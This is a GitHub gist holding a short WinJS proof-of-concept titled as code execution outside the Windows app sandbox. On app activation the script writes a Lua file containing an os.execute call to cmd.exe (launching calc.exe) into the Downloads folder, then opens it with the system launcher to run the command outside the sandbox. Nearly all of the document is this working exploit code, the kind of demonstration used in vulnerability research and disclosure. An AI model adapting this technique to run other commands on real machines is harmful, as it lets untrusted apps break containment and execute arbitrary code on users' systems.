Created
February 7, 2019 22:15
-
-
Save droogie/4f3535a62771350c75fed1d255659b0f to your computer and use it in GitHub Desktop.
WinJS code execution outside app sandbox
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function () { | |
var app = WinJS.Application; | |
var activation = Windows.ApplicationModel.Activation; | |
var isFirstActivation = true; | |
app.onactivated = function (args) { | |
if (isFirstActivation) { | |
// execute system command via lua | |
Windows.Storage.DownloadsFolder.createFileAsync("escape.lua").then(function (file) { | |
sampleFile = file; | |
Windows.Storage.FileIO.writeTextAsync(sampleFile, "os.execute('cmd.exe /c calc.exe')").then(function () { | |
sampleFile2 = sampleFile; | |
Windows.System.Launcher.launchFileAsync(sampleFile2).then(function (suc) { | |
if (suc) { | |
Windows.UI.Popups.MessageDialog("File opened :)").showAsync().then(); | |
} else { | |
Windows.UI.Popups.MessageDialog("File not opened :(").showAsync().then(); | |
} | |
}); | |
}); | |
}); | |
} | |
}; | |
app.start(); | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment